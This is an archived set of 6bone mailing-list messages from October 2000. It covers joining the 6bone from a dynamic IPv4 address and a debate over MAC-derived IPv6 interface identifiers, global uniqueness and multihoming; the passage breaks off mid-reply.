 Looking through all the documentation and things, i haven't found any references to being able to (or not being able to) be on the 6bone if you have a dynamic ipv4 address.  I've looked for a provider that offers static IPs locally, but they all seem to be $70-$100/month, which isn't any good for home use... Can it be done with a dynamic IP?

 Thanks,
  -- Sarah Nordstrom

------------------------------------------------------------
Techno Dyke Headquarters -> http://www.technodyke.com
The Gathering Place for the Web Savvy Dyke!



From 6bone-owner  Thu Oct  5 10:28:48 2000
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From: Jonathan Guthrie <jguthrie@brokersys.com>
To: Sebastien Roy <seb@strat.East.Sun.COM>
cc: David Gethings <davidg@uk.uu.net>, 6bone@ISI.EDU
Subject: Re: ipv6 addressing - non-routable equivalents? 
In-Reply-To: <200010050152.e951qDs28774@strat.East.Sun.COM>
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On Wed, 4 Oct 2000, Sebastien Roy wrote:

> > > On Sun, 1 Oct 2000, Jonathan Guthrie wrote:
 
> > > > What I don't understand is what to do if you want multiple global
> > > > addresses on a single computer.

> > My reading of rfc2373 (which can be retrieved from
> > ftp://ftp.isi.edu/in-notes/rfc2373.txt, if you have a mind to read it) is
> > that those 16 bits (which are inserted starting at bit 24) are required to
> > be 0xfffe.
 
> > I don't want to speak ill of the standards process as it's tough enough to
> > accomplish as it is, but didn't anybody consider the fact that people are
> > going to want to use address-based virtual hosting when designing this
> > scheme, or am I missing something?
 
> It's perfectly acceptable to manually configure multiple global IPv6
> addresses on a single interface.  There's no mandate on using
> stateless address autoconfiguration, or on using an IEEE 48bit MAC
> address as a token to the EUI-64 based identifier (i.e., ::1 is a
> perfectly fine interface identifier as long as it's unique on the
> link).  It's also acceptable to use stateless address
> autoconfiguration in combination with manual configuration, or any
> other stateful protocols.

Yes, ::1 is a perfectly fine interface identifier, and I make use but it's
not a GLOBAL interface identifier.  That is, interface identifiers with
the global bit set are guaranteed to be unique on the Internet.  Perhaps
my terminology is incorrect, but unless I can put multiple globally-unique
interface identifiers on the same box, an awful lot of the magic IPv6
promises simply isn't there.

Here's why:

Currently the Internet is a "stupid network".  That is, as far as any of
the endpoints hooked to the Internet is concerned, you put bits in and you
get bits out.  Any interaction is between you and the far end, not with
the network itself.  That means that adding a capability, like a new
service type, simply requires that both ends support it:  The network
doesn't have to be modified.

Contrast this with the PSTN, where to do anything requires interacting
directly with the network and where adding services (like call waiting,
caller id, and so forth) requires modification, sometimes substantial
modifications, to the network.  For a more complete discussion of "stupid
networks", check out http://www.camworld.com/att.html.

The thing is, the Internet is NOT stupid with respect to routing.  In
order to do anything more complicated than a single nonredundant
connection, you have to have your equipment interact with the routing
structure of the Internet.  One of the most common questions on the Zebra
(a freeware routing protocol package) is "I've got two connections to the
Internet at my house from different providers, can I use Zebra to help me
use both of them at the same time?"  The answer, of course, is "no"
because multihoming requires (in principle and usually in practice) that
the entire Internet understand that routes through both providers are
equally valid for the addresses in question.

Globally-unique interface identifiers gives us a chance to change that.

With globally-unique interface identifiers, it becomes possible for the
software at the endpoints to determine that multiple routing options exist
and to exercise their own control over what routes a packet take.  The
rest of the Internet can simply take the attitude that the routing
structure is a tree and pass the packets along, fat, dumb, and happy.

Of course, this requires more than the adoption of IPv6 to accomplish.  
In particular, it requires the ability for the TCP and UDP implementations
to recognize that packets sent from the same globally-unique interface
identifier are from the same place even if the network numbers are
different and it requires the routing software to routinely make routing
decisions, at least in part, on the source address, and it may require
other things I haven't thought of.  However, the point is that it doesn't
work unless most interface identifiers are globally unique.

I believe that many people will want to have multiple globally-unique
interface identifiers on the same computer.  Is there a standard way of
doing this?
-- 
Jonathan Guthrie (jguthrie@brokersys.com)
Brokersys  +281-580-3358   http://www.brokersys.com/
12703 Veterans Memorial #106, Houston, TX  77014, USA


From 6bone-owner  Thu Oct  5 12:27:11 2000
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Date: Thu, 05 Oct 2000 12:27:04 -0700
To: "Sarah Nordstrom" <sarahemm@technodyke.com>
From: Bob Fink <fink@es.net>
Subject: Re: 6bone via dynamic ipv4?
Cc: 6BONE List <6bone@ISI.EDU>
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Sarah,

At 07:50 AM 10/5/2000 -0700, Sarah Nordstrom wrote:
>Hi,
>  Looking through all the documentation and things, i haven't found any 
> references to being able to (or not being able to) be on the 6bone if you 
> have a dynamic ipv4 address.  I've looked for a provider that offers 
> static IPs locally, but they all seem to be $70-$100/month, which isn't 
> any good for home use... Can it be done with a dynamic IP?

I believe you can use a dynamic IPv4 address for your tunnel for only as 
long as it is assigned to you. Then you would be using something like the 
freenet6 service on an intermittent basis (i.e., you need to redo the 
tunnel if you get a new address).


Bob


From 6bone-owner  Thu Oct  5 12:39:05 2000
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From: Secret Asian Man <cchen@nougat.org>
To: Sarah Nordstrom <sarahemm@technodyke.com>
Cc: 6bone@ISI.EDU
Subject: Re: 6bone via dynamic ipv4?
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On Thu, Oct 05, 2000 at 07:50:52AM -0700, Sarah Nordstrom wrote:
>  Looking through all the documentation and things, i haven't found any references to being able to (or not being able to) be on the 6bone if you have a dynamic ipv4 address.  I've looked for a provider that offers static IPs locally, but they all seem to be $70-$100/month, which isn't any good for home use... Can it be done with a dynamic IP?

The problem with having a dynamic IP is having to reconfigure the tunnel at the other end of the connection every time, which is something your uplink is probably not going to want to do. There is a service that does 6in4 tunnels to dynamic IPs, but the 6bone is not it :(

My idea if youre dialing up is to establish the connection somewhere that HAS a static IP, then dial in there...

Maybe your work would like to be Protocolically Progressive.

cc

-- 
Christopher Kyin-hwa Chen <cchen@nougat.org>
<http://www.nougat.org/~cchen/>
"I'm in love with the world, through the eyes of a girl,
who's still around, the morning after." --Elliott Smith

From 6bone-owner  Thu Oct  5 13:22:29 2000
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To: David Gethings <davidg@uk.uu.net>
Cc: 6bone@ISI.EDU
From: "Matt Crawford" <crawdad@fnal.gov>
Subject: Re: ipv6 addressing - non-routable equivalents? 
In-reply-to: Your message of Tue, 03 Oct 2000 23:36:19 BST.
             <Pine.SOL.4.04.10010032327210.10554-100000@pool.cam.uk.internal> 
Date: Thu, 05 Oct 2000 15:22:23 -0500
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> If I recall the IPv6 RFC correctly you can ues part of the last 64 bits
> for multiple addresses on a single computer.

No.  All 64 bits are for multiple interface identifiers on the same
subnet.  If some of those interfaces happen to belong to the same
host, that's all right.  If some of them identify the same interface,
I guess that's all right too, but isn't HTTP 1.1 prevalent enough
that the usual reason for this can finally go away?  Maybe not...

> As you know the last 64 bits of an IPv6 address are taken from the
> computers MAC address (if you wish to allocate in that manner). But a MAC
> address is only 48 bits long, leaving a tasty 8 bits.
> 
> As I understand it the computer *can* use these 8 bits to allocate
> multiple addresses without too much further configuration. How you do this
> in pratice though, I have no idea as I haven't looked into it.

No.

For IPv6 addresses beginning with 001 binary, the bottom 64 bits ARE
an EUI-64 with its 7th bit (the Universal/Local bit) flipped.  A
certain portion of EUI-64 space is reserved by the IEEE to denote a
48-bit MAC address, and that's the origin of the 0xfffe in the middle.

Any EUI-64 with the 7th bit equal to '1', which corresponds to an
IPv6 interface identifier with that bit '0', is locally controlled.
If you configure an interface to use such an identifier, the RFC 2462
DAD process will check for duplicates on the link.

From 6bone-owner  Thu Oct  5 20:00:01 2000
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From: Antonio Querubin <tony@lava.net>
To: Jonathan Guthrie <jguthrie@brokersys.com>
cc: Sebastien Roy <seb@strat.East.Sun.COM>, David Gethings <davidg@uk.uu.net>,
        6bone@ISI.EDU
Subject: Re: ipv6 addressing - non-routable equivalents? 
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On Thu, 5 Oct 2000, Jonathan Guthrie wrote:

> Yes, ::1 is a perfectly fine interface identifier, and I make use but it's
> not a GLOBAL interface identifier.  That is, interface identifiers with
> the global bit set are guaranteed to be unique on the Internet.  Perhaps
> my terminology is incorrect, but unless I can put multiple globally-unique
> interface identifiers on the same box, an awful lot of the magic IPv6
> promises simply isn't there.

I'm not sure what this really buys us.  So it's globally unique, ok.  We
already had that with IPv4 - though it wasn't 'guaranteed' to be unique.
But where's the 'magic'?

> The thing is, the Internet is NOT stupid with respect to routing.  In
> order to do anything more complicated than a single nonredundant
> connection, you have to have your equipment interact with the routing
> structure of the Internet.  One of the most common questions on the Zebra
> (a freeware routing protocol package) is "I've got two connections to the
> Internet at my house from different providers, can I use Zebra to help me
> use both of them at the same time?"  The answer, of course, is "no"
> because multihoming requires (in principle and usually in practice) that
> the entire Internet understand that routes through both providers are
> equally valid for the addresses in question.
> 
> Globally-unique interface identifiers gives us a chance to change that.
> 
> With globally-unique interface identifiers, it becomes possible for the
> software at the endpoints to determine that multiple routing options exist
> and to exercise their own control over what routes a packet take.  The
> rest of the Internet can simply take the attitude that the routing
> structure is a tree and pass the packets along, fat, dumb, and happy.

How so?  How does a globally unique IPv6 address provide this capability
that a globally unique IPv4 address does not?

> Of course, this requires more than the adoption of IPv6 to accomplish.  
> In particular, it requires the ability for the TCP and UDP implementations
> to recognize that packets sent from the same globally-unique interface
> identifier are from the same place even if the network numbers are
> different and it requires the routing software to routinely make routing
> decisions, at least in part, on the source address, and it may require
> other things I haven't thought of.  However, the point is that it doesn't
> work unless most interface identifiers are globally unique.

Uh, so one more time, how does the global uniqueness property of an IPv6
address provide this capability that a globally unique IPv4 address can't?

> I believe that many people will want to have multiple globally-unique
> interface identifiers on the same computer.  Is there a standard way of
> doing this?

The most common way hosting sites assign multiple addresses is to just
number them sequentially.  It's pretty simple and mindless and doesn't
require knowledge of the ethernet address on any NIC card.  Ie. it's KISS
compliant :)



From 6bone-owner  Fri Oct  6 01:46:58 2000
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: "Sarah Nordstrom" <sarahemm@technodyke.com>
cc: 6bone@ISI.EDU
Subject: Re: 6bone via dynamic ipv4? 
In-reply-to: Your message of Thu, 05 Oct 2000 07:50:52 PDT.
             <200010051450.HAA16707@mail8.bigmailbox.com> 
Date: Fri, 06 Oct 2000 10:49:28 +0200
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 In your previous mail you wrote:

    Looking through all the documentation and things, i haven't found
  any references to being able to (or not being able to) be on the 6bone
  if you have a dynamic ipv4 address.

=> I've tried to solve this problem in the internet-draft
draft-ietf-ngtrans-hometun-00.txt

I have a prototype for FreeBSD 4.1 for both ends (of the tunnel).

Regards

Francis.Dupont@enst-bretagne.fr

From 6bone-owner  Fri Oct  6 01:56:19 2000
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From: =?ISO-8859-1?Q?Peter_H=E5kanson?= <peter@ipsec.nu>
To: Jonathan Guthrie <jguthrie@brokersys.com>
cc: Sebastien Roy <seb@strat.East.Sun.COM>, David Gethings <davidg@uk.uu.net>,
        6bone@ISI.EDU
Subject: Re: ipv6 addressing - non-routable equivalents? 
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On Thu, 5 Oct 2000, Jonathan Guthrie wrote:

> On Wed, 4 Oct 2000, Sebastien Roy wrote:
> 
> > > > On Sun, 1 Oct 2000, Jonathan Guthrie wrote:
>  
> > > > > What I don't understand is what to do if you want multiple global
> > > > > addresses on a single computer.
> 
> > > My reading of rfc2373 (which can be retrieved from
> > > ftp://ftp.isi.edu/in-notes/rfc2373.txt, if you have a mind to read it) is
> > > that those 16 bits (which are inserted starting at bit 24) are required to
> > > be 0xfffe.
%%%%snip%%%%%%%%%%%>  
> 
%%%%%%snip%%%%%%%%%
> Globally-unique interface identifiers gives us a chance to change that.
> 
> With globally-unique interface identifiers, it becomes possible for the
> software at the endpoints to determine that multiple routing options exist
> and to exercise their own control over what routes a packet take.  The
> rest of the Internet can simply take the attitude that the routing
> structure is a tree and pass the packets along, fat, dumb, and happy.
> 
> Of course, this requires more than the adoption of IPv6 to accomplish.  
> In particular, it requires the ability for the TCP and UDP implementations
> to recognize that packets sent from the same globally-unique interface
> identifier are from the same place even if the network numbers are
> different and it requires the routing software to routinely make routing
> decisions, at least in part, on the source address, and it may require
> other things I haven't thought of.  However, the point is that it doesn't
> work unless most interface identifiers are globally unique.

There is no such thing as GLOBLLY UNIQUE IEEE adressess available everywhere!

In a restricted sence one may rely on "unique" MAC-adresses. That is
if certain technologies are used on link-level, restricted to a 
subset of it's capabilities, and noone ever makes any administrative
mistakes (or plain cheats).

But in the long run we cannot build network infrastructure on 
the assumption that "linklayer technology never changes".

Just think of ATM. It uses no IEEE adresses. One have to create
one, (and how do i create a unique ?) same goes for ppp links,
Frame-delay links, mobile UTMS phones etc.

This is one of the design "features" of ipv6 that prevents deplayment.

My 2 cents
> 
> I believe that many people will want to have multiple globally-unique
> interface identifiers on the same computer.  Is there a standard way of
> doing this?

DNS. It's a globally unique (and that can be guarranteed unique). 


> -- 
> Jonathan Guthrie (jguthrie@brokersys.com)
> Brokersys  +281-580-3358   http://www.brokersys.com/
> 12703 Veterans Memorial #106, Houston, TX  77014, USA
> 
> 

--
Peter Håkanson            | Melissa ? Lovletter ? Joke ? Mothers day ?
tfn 0707 328101              | Not on this mailsystem!
IPSec sverige || ipsec.nu    | It's safe by design !
Lundbystrand  Sweden         | (in contrast to some other)


From 6bone-owner  Fri Oct  6 02:25:19 2000
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: Secret Asian Man <cchen@nougat.org>
cc: Sarah Nordstrom <sarahemm@technodyke.com>, 6bone@ISI.EDU
Subject: Re: 6bone via dynamic ipv4? 
In-reply-to: Your message of Thu, 05 Oct 2000 12:39:08 PDT.
             <20001005123908.G7022@bonsai.nougat.org> 
Date: Fri, 06 Oct 2000 11:27:48 +0200
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Status: RO

 In your previous mail you wrote:

   The problem with having a dynamic IP is having to reconfigure the
  tunnel at the other end of the connection every time, which is
  something your uplink is probably not going to want to do. There is a
  service that does 6in4 tunnels to dynamic IPs, but the 6bone is not it :(

=> there is not true because you can keep the same (ie. static) IPv6
addresses. If you have a way to reconfigure the tunnel (read my draft :-)
then you can use the 6bone with trouble.
   
Regards

Francis.Dupont@enst-bretagne.fr

PS: of course if you have an intermittent connectivity or your ISP doesn't
want you really use the uplink then you should go to a tunnel broker
service like Freenet6. My draft applies in the case of an Internet access
(not an online service) with an all-inclusive price.

From 6bone-owner  Fri Oct  6 02:30:10 2000
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: Bob Fink <fink@es.net>
cc: "Sarah Nordstrom" <sarahemm@technodyke.com>, 6BONE List <6bone@ISI.EDU>
Subject: Re: 6bone via dynamic ipv4? 
In-reply-to: Your message of Thu, 05 Oct 2000 12:27:04 PDT.
             <5.0.0.25.0.20001005122427.02e6ea00@imap2.es.net> 
Date: Fri, 06 Oct 2000 11:31:40 +0200
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Status: RO

 In your previous mail you wrote:

   >  Looking through all the documentation and things, i haven't found any 
   > references to being able to (or not being able to) be on the 6bone if you 
   > have a dynamic ipv4 address.  I've looked for a provider that offers 
   > static IPs locally, but they all seem to be $70-$100/month, which isn't 
   > any good for home use... Can it be done with a dynamic IP?
   
   I believe you can use a dynamic IPv4 address for your tunnel for only as 
   long as it is assigned to you. Then you would be using something like the 
   freenet6 service on an intermittent basis (i.e., you need to redo the 
   tunnel if you get a new address).
   
=> there are two possible answers:
 - technical one (or how to do it)
 - not technical one (or why your ISP doesn't want to sell real Internet
   access). In this case the "one dynamic IPv4 address" is only a part
   of the whole problem...

Regards

Francis.Dupont@enst-bretagne.fr

PS: I am still convinced that home networks are an important thing for
the iPv6 future then we should keep this question.

From 6bone-owner  Fri Oct  6 07:16:58 2000
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Date: Fri, 06 Oct 2000 09:16:50 -0500
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM
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To: Antonio Querubin <tony@lava.net>
CC: Jonathan Guthrie <jguthrie@brokersys.com>,
        Sebastien Roy <seb@strat.East.Sun.COM>,
        David Gethings <davidg@uk.uu.net>, 6bone@ISI.EDU
Subject: Re: ipv6 addressing - non-routable equivalents?
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Antonio Querubin wrote:
...
> Uh, so one more time, how does the global uniqueness property of an IPv6
> address provide this capability that a globally unique IPv4 address can't?

IPv4 addresses aren't globally unique these days - we lost that
with NAT. The intent is for IPv6 to restore the uniqueness property,
not to create some magic new property.

  Brian

From 6bone-owner  Fri Oct  6 11:16:47 2000
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Date: Fri, 6 Oct 2000 08:16:42 -1000 (HST)
From: Antonio Querubin <tony@lava.net>
To: Brian E Carpenter <brian@hursley.ibm.com>
cc: Jonathan Guthrie <jguthrie@brokersys.com>,
        Sebastien Roy <seb@strat.East.Sun.COM>,
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Subject: Re: ipv6 addressing - non-routable equivalents?
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On Fri, 6 Oct 2000, Brian E Carpenter wrote:

> IPv4 addresses aren't globally unique these days - we lost that
> with NAT. The intent is for IPv6 to restore the uniqueness property,
> not to create some magic new property.

Not everyone uses NAT.  For those of us that don't, how does a MAC-based
IPv6 address provide uniqueness that a sequentially assigned (or any other
scheme that provides uniqueness) IPv6 address does not?

My point is that uniqueness can be obtained in different ways.  However,
the MAC-based addressing scheme buys very little that can't also be
obtained in other simpler ways that are easier to manage.  I suspect that
MAC-based addressing will fall into the 'good idea but in practice...'
category.  As I mentioned before, I think it violates the KISS principle
and I think is just one additional piece of baggage that slows down the
adoption of IPv6.



From 6bone-owner  Fri Oct  6 11:37:22 2000
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Date: Fri, 06 Oct 2000 13:18:19 -0500
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM
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Subject: Re: ipv6 addressing - non-routable equivalents?
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Antonio Querubin wrote:
> 
> On Fri, 6 Oct 2000, Brian E Carpenter wrote:
> 
> > IPv4 addresses aren't globally unique these days - we lost that
> > with NAT. The intent is for IPv6 to restore the uniqueness property,
> > not to create some magic new property.
> 
> Not everyone uses NAT.  For those of us that don't, how does a MAC-based
> IPv6 address provide uniqueness that a sequentially assigned (or any other
> scheme that provides uniqueness) IPv6 address does not?

Well, it can be unique in the bottom 64 bits alone. On some models of the
future that is a useful property.

> 
> My point is that uniqueness can be obtained in different ways.  However,
> the MAC-based addressing scheme buys very little that can't also be
> obtained in other simpler ways that are easier to manage.  

Huh? What can be simpler than auto-configuration using the MAC address
of your NIC? No management required. If you want multiple addresses
per interface, you have to do something else of course - but whatever
it is will be more complicated than auto-config.

> I suspect that
> MAC-based addressing will fall into the 'good idea but in practice...'
> category.  As I mentioned before, I think it violates the KISS principle
> and I think is just one additional piece of baggage that slows down the
> adoption of IPv6.

I believe exactly the opposite.

   Brian

From 6bone-owner  Fri Oct  6 16:08:23 2000
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Date: Fri, 6 Oct 2000 13:08:19 -1000 (HST)
From: Antonio Querubin <tony@lava.net>
To: Brian E Carpenter <brian@hursley.ibm.com>
cc: 6bone@ISI.EDU
Subject: Re: ipv6 addressing - non-routable equivalents?
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On Fri, 6 Oct 2000, Brian E Carpenter wrote:

> Huh? What can be simpler than auto-configuration using the MAC address
> of your NIC? No management required. If you want multiple addresses
> per interface, you have to do something else of course - but whatever
> it is will be more complicated than auto-config.

As I said in another part of this thread - what does this buy you that
DHCP doesn't already?

Configuration may be simple perhaps if you confine analysing the effects
to just IP configuration on the box itself.  You still have to manage your
domain name space and the reverse mapping (ie. why should you be required
to change IP address and update DNS records just because you change the
ethernet card in your system?).  Then there is the inherent inefficiency
of the scheme.


From 6bone-owner  Fri Oct  6 18:53:26 2000
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From: Keith Owens <kaos@ocs.com.au>
To: Antonio Querubin <tony@lava.net>
cc: 6bone@ISI.EDU
Subject: Re: ipv6 addressing - non-routable equivalents? 
In-reply-to: Your message of "Fri, 06 Oct 2000 13:08:19 -1000."
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On Fri, 6 Oct 2000 13:08:19 -1000 (HST), 
Antonio Querubin <tony@lava.net> wrote:
>As I said in another part of this thread - what does this buy you that
>DHCP doesn't already?

The ability to plug two or more IPv6 devices into a free standing LAN
and have them work out of the box without setting up DHCP or DNS first.
Think about the small office that has a few PCs and printers and is not
yet connected to the outside world.  IPX handles this case nicely, IPv4
cannot without DHCP or equivalent, IPv6 uses link local addresses which
are autoconfigured using MAC.  Smart houses anyone?


From 6bone-owner  Fri Oct  6 19:41:26 2000
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From: "Keith Tang (HTHK - Engineer II, NW3G)" <KEITHT@hthk.com>
To: "'Brian E Carpenter'" <brian@hursley.ibm.com>
Cc: David Gethings <davidg@uk.uu.net>, 6bone@ISI.EDU,
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Subject: RE: ipv6 addressing - non-routable equivalents?
Date: Sat, 7 Oct 2000 10:32:43 +0800 
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Hi an:
  Somebody said "I am sure you are aware that building a 3G network requires
obtaining IP version 6 addresses".
Is this true or not, And in why he said this.

Keith Tang

From 6bone-owner  Fri Oct  6 19:54:26 2000
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From: "Keith Tang (HTHK - Engineer II, NW3G)" <KEITHT@hthk.com>
To: Antonio Querubin <tony@lava.net>,
        "'Brian E Carpenter'"
	 <brian@hursley.ibm.com>
Cc: Jonathan Guthrie <jguthrie@brokersys.com>,
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Subject: RE: ipv6 addressing - non-routable equivalents?
Date: Sat, 7 Oct 2000 10:45:39 +0800 
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Hi 
   My name is Keith Tang. I am Working in a Telcom. Company as a 3G System
Engineer 	
Someone told me if I want to build 3G telephone System, I Must have Ipv6
Bone support.
But I think IPV4 also able to support 3G. Is that right?


Keith Tang

From 6bone-owner  Fri Oct  6 20:44:57 2000
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Date: Fri, 6 Oct 2000 17:45:01 -1000 (HST)
From: Antonio Querubin <tony@lava.net>
To: Keith Owens <kaos@ocs.com.au>
cc: 6bone@ISI.EDU
Subject: Re: ipv6 addressing - non-routable equivalents? 
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On Sat, 7 Oct 2000, Keith Owens wrote:

> The ability to plug two or more IPv6 devices into a free standing LAN
> and have them work out of the box without setting up DHCP or DNS first.
> Think about the small office that has a few PCs and printers and is not
> yet connected to the outside world.  IPX handles this case nicely, IPv4
> cannot without DHCP or equivalent, IPv6 uses link local addresses which
> are autoconfigured using MAC.  Smart houses anyone?

No argument with that.  For link-local and site-local addresses we don't
care about global uniqueness now do we?  My concern is with the
global-scope addressing and it's impact on address space as well as DNS
management.



From 6bone-owner  Fri Oct  6 21:01:10 2000
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From: Brad Spencer <brad@anduin.eldar.org>
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Subject: Re: ipv6 addressing - non-routable equivalents?
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   On Fri, 6 Oct 2000, Brian E Carpenter wrote:

   > Huh? What can be simpler than auto-configuration using the MAC address
   > of your NIC? No management required. If you want multiple addresses
   > per interface, you have to do something else of course - but whatever
   > it is will be more complicated than auto-config.

   As I said in another part of this thread - what does this buy you that
   DHCP doesn't already?

I think of autoconfiguration as a companion to the DHCP idea.  We have
routed, gated and whatever, right??  Technically, we wouldn't have to have
all of those either.

There is a minor advantage with it in networks where there is not a
working DHCPv6 server, like the one I have at home.  I had to set up the
router, in any case, and it was very simple to run the advertisement
server on that machine.  All the client has to do is ask for a router
solicitation and the IPv6 parts get configured.


   Configuration may be simple perhaps if you confine analysing the effects
   to just IP configuration on the box itself.  You still have to manage your
   domain name space and the reverse mapping (ie. why should you be required
   to change IP address and update DNS records just because you change the
   ethernet card in your system?).  Then there is the inherent inefficiency
   of the scheme.

In an environment that is more or less stable, say a lab of Sun
workstations, there isn't much churn in the MAC addresses.  I suspect that
it might be a matter of pain...  if the environment has more flux, then a
DHCP server would probably make sense.  It certainly doesn't for things
here at home.

For my Toshiba notebook, I do use a manually set IPv6 address, just in
case I swap out ethernet cards.  It was taken from a router solicitation
run against one ethernet card.





Brad Spencer - brad@anduin.eldar.org
http://anduin.eldar.org  - & -  http://mellon.ipv6.eldar.org [IPv6 only]
[finger brad@anduin.eldar.org for PGP public key]


From 6bone-owner  Sun Oct  8 07:44:24 2000
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From: Jonathan Guthrie <jguthrie@brokersys.com>
To: =?ISO-8859-1?Q?Peter_H=E5kanson?= <peter@ipsec.nu>
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Subject: Re: ipv6 addressing - non-routable equivalents? 
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On Fri, 6 Oct 2000, [ISO-8859-1] Peter Håkanson wrote:

> There is no such thing as GLOBLLY UNIQUE IEEE adressess available everywhere!
 
> In a restricted sence one may rely on "unique" MAC-adresses. That is
> if certain technologies are used on link-level, restricted to a 
> subset of it's capabilities, and noone ever makes any administrative
> mistakes (or plain cheats).

...and you're willing to diagnose odd errors, sometimes.  (I've actually
met people who have received two Ethernet cards with the same MAC
address.)
 
> But in the long run we cannot build network infrastructure on 
> the assumption that "linklayer technology never changes".

> Just think of ATM. It uses no IEEE adresses. One have to create
> one, (and how do i create a unique ?) same goes for ppp links,
> Frame-delay links, mobile UTMS phones etc.

> This is one of the design "features" of ipv6 that prevents deplayment.

I disagree.  There is absolutely nothing preventing anyone who finds the
automatic mechanism to be too confusing from using addresses that don't
have anything to do with IEEE anything.  They still work just fine, and
anyone can use them, if they choose.  What's holding back IPv6 is this:  
No commonly-available routing equipment, no commonly-available remote
access equipment, and no commonly-available end user software.

I own an ISP.  A little "one-lunged" ISP.  My business is just the sort of
enterprise that can derive the most benefit from the widespread deployment
of IPv6.

Now, I've got my network on the 6bone, and I've even set up a couple of
tunnels to provide 6bone access to the places I most commonly access the
Internet from, but that doesn't help my customers because none of the
equipment I use to deliver Internet access (I've got an Imagestream
Enterprise router, a Max 4000, a Max 4002, a Max 4048, and a Max 6000)
knows anything about IPv6.  Even if they did, none of the people who dial
in have the capability to run IPv6 over PPP. To get 6bone access, they'd
have to set up their own tunnels.  This is a pain in the neck for people
who have dynamically-allocated IPv4 addresses, which constitute the bulk
of my customer base.

> > I believe that many people will want to have multiple globally-unique
> > interface identifiers on the same computer.  Is there a standard way of
> > doing this?
 
> DNS. It's a globally unique (and that can be guarranteed unique). 

Yes, host names are globally-unique, but they don't indicate the route
needed to get to the destination, but IPv6 addresses are constructed with
the idea that the structure of the prefix would reveal the routing
structure of the Internet.  That means that the amount of routing
information distributed around the various backbone providers can be
reduced without any reduction in the functionality available to the end
user.

Now, I suppose you could use the DNS to distribute the information that
addresses with various prefixes belong to the same physical adapter, but I
would prefer some mechanism (like an ICMP6 AKA message or some such) that
doesn't involve third parties setting up their equipment correctly and
individuals setting up their own DNS servers entail dangers that I don't
like to contemplate.  (Judging by the difficulty the professionals at Time
Warner Communications have in setting up their DNS servers, I don't want
to think about your average "Joe on the street" trying to do it.)

No, it's got be built in to the software and not dependant on the mercy of
a DNS administrator.
-- 
Jonathan Guthrie (jguthrie@brokersys.com)
Brokersys  +281-580-3358   http://www.brokersys.com/
12703 Veterans Memorial #106, Houston, TX  77014, USA


From 6bone-owner  Sun Oct  8 07:52:10 2000
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From: Jonathan Guthrie <jguthrie@brokersys.com>
To: Antonio Querubin <tony@lava.net>
cc: Sebastien Roy <seb@strat.East.Sun.COM>, David Gethings <davidg@uk.uu.net>,
        6bone@ISI.EDU
Subject: Re: ipv6 addressing - non-routable equivalents? 
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On Thu, 5 Oct 2000, Antonio Querubin wrote:

> On Thu, 5 Oct 2000, Jonathan Guthrie wrote:
 
> > Yes, ::1 is a perfectly fine interface identifier, and I make use but it's
> > not a GLOBAL interface identifier.  That is, interface identifiers with
> > the global bit set are guaranteed to be unique on the Internet.  Perhaps
> > my terminology is incorrect, but unless I can put multiple globally-unique
> > interface identifiers on the same box, an awful lot of the magic IPv6
> > promises simply isn't there.
 
> I'm not sure what this really buys us.  So it's globally unique, ok.  We
> already had that with IPv4 - though it wasn't 'guaranteed' to be unique.
> But where's the 'magic'?

The "magic", oddly enough, is contained in the part that isn't unique.
What makes the scheme work is the fact that the routing information is
embedded in the prefix.  IPv4 addresses aren't long enough for that to
happen.  What that means is that you can send a packet to a particular
destination one way by using one address and another way by using a
different address.  That means that to achieve multihoming, all you have
to do is make the 

> > The thing is, the Internet is NOT stupid with respect to routing.  In
> > order to do anything more complicated than a single nonredundant
> > connection, you have to have your equipment interact with the routing
> > structure of the Internet.  One of the most common questions on the Zebra
> > (a freeware routing protocol package) is "I've got two connections to the
> > Internet at my house from different providers, can I use Zebra to help me
> > use both of them at the same time?"  The answer, of course, is "no"
> > because multihoming requires (in principle and usually in practice) that
> > the entire Internet understand that routes through both providers are
> > equally valid for the addresses in question.
> > 
> > Globally-unique interface identifiers gives us a chance to change that.
> > 
> > With globally-unique interface identifiers, it becomes possible for the
> > software at the endpoints to determine that multiple routing options exist
> > and to exercise their own control over what routes a packet take.  The
> > rest of the Internet can simply take the attitude that the routing
> > structure is a tree and pass the packets along, fat, dumb, and happy.
 
> How so?  How does a globally unique IPv6 address provide this capability
> that a globally unique IPv4 address does not?

I'm not talking about a globally unique IPv6 ADDRESS, I'm talking about a
globally unique bottom 64 bits.  If you can guarantee that the bottom 
64 bits are unique, then you can tell if two different IPv6 addresses 
(which ARE going to be globally unique, just like IPv4 addresses) are
really from the same computer. There is no equivalent to this in
IPv4.  There is nothing even close to this in IPv4.

> > I believe that many people will want to have multiple globally-unique
> > interface identifiers on the same computer.  Is there a standard way of
> > doing this?
 
> The most common way hosting sites assign multiple addresses is to just
> number them sequentially.  It's pretty simple and mindless and doesn't
> require knowledge of the ethernet address on any NIC card.  Ie. it's KISS
> compliant :)

Since you don't understand what a globally-unique interface identifier IS
and how it's different from a globally-unique address, you probably won't
understand why what you describe is not particularly useful, with respect
to easy multihoming.
-- 
Jonathan Guthrie (jguthrie@brokersys.com)
Brokersys  +281-580-3358   http://www.brokersys.com/
12703 Veterans Memorial #106, Houston, TX  77014, USA



From 6bone-owner  Sun Oct  8 13:30:16 2000
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Date: Sun, 8 Oct 2000 10:30:10 -1000 (HST)
From: Antonio Querubin <tony@lava.net>
To: Jonathan Guthrie <jguthrie@brokersys.com>
cc: Sebastien Roy <seb@strat.East.Sun.COM>, David Gethings <davidg@uk.uu.net>,
        6bone@ISI.EDU
Subject: Re: ipv6 addressing - non-routable equivalents? 
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On Sun, 8 Oct 2000, Jonathan Guthrie wrote:

> The "magic", oddly enough, is contained in the part that isn't unique.
> What makes the scheme work is the fact that the routing information is
> embedded in the prefix.  IPv4 addresses aren't long enough for that to
> happen.  What that means is that you can send a packet to a particular
> destination one way by using one address and another way by using a
> different address.  That means that to achieve multihoming, all you have
> to do is make the 

Understood.  But "where's the beef?"  Ie. great idea but there's little to
nothing that implements this.  That being the case, the magic is just
vaporware at this point.  Working at an ISP that has thousands of
customers and IP addresses to manage I see the problems in integrating
MAC-based addressing as outweighing the 'potential' benefits for a long
time to come.

> I'm not talking about a globally unique IPv6 ADDRESS, I'm talking about a
> globally unique bottom 64 bits.  If you can guarantee that the bottom 
> 64 bits are unique, then you can tell if two different IPv6 addresses 
